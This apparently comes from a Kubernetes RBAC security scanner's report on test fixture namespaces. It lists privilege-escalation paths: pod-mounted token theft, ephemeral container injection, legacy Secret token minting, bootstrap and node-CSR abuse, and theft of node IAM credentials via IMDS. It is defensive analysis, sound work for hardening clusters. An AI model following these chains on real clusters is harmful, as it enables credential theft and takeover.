    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin score 6.2 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin score 6.2 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin score 6.2 4 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
→ minted service-account tokens

54 paths to minted service-account tokens

30 high 24 med
HIGH ServiceAccount/cert-manager/cert-manager → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `cert-manager` in namespace `cert-manager` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/cutres/cutres-detour → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `cutres-detour` in namespace `cutres` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/cutres/cutres-parallel → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `cutres-parallel` in namespace `cutres` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `deepchain-privileged` in namespace `deepchain-tenant` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/flux-system/kustomize-controller → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `kustomize-controller` in namespace `flux-system` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `foothold-decoy-sa` in namespace `foothold-exec` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-token-create → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token for any ServiceAccount.

  1. Mint a token for any ServiceAccount mint_arbitrary_token

    The create verb on serviceaccounts/token at cluster scope (without resourceNames) lets the holder mint a fresh, valid token for any ServiceAccount in any namespace. No pod creation or exec needed, and it leaves a thinner audit trail than the pod-mount route.

    From ServiceAccount/rbac-fixtures/sa-token-create
    Permission granted create serviceaccounts/token (cluster-wide)
    Gives the attacker can mint a service-account token for any ServiceAccount in any namespace
HIGH ServiceAccount/rbac-fixtures/sa-wildcard → minted service-account tokens score 6.8 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches minted service-account tokens in 1 hop via Mint a token via a legacy Secret.

  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/deepchain-tenant/deepchain-binder → minted service-account tokens score 6.5 3 hops View finding →

ServiceAccount `deepchain-binder` in namespace `deepchain-tenant` reaches minted service-account tokens in 3 hops via RoleBinding write access plus bind → Co-located ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → minted service-account tokens score 6.5 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches minted service-account tokens in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Mint a token via a legacy Secret.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Ephemeral container injection → Mint a token via a legacy Secret.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Pod exec → container takeover → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Survives cutting the crb-pod-create binding (2 hops)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
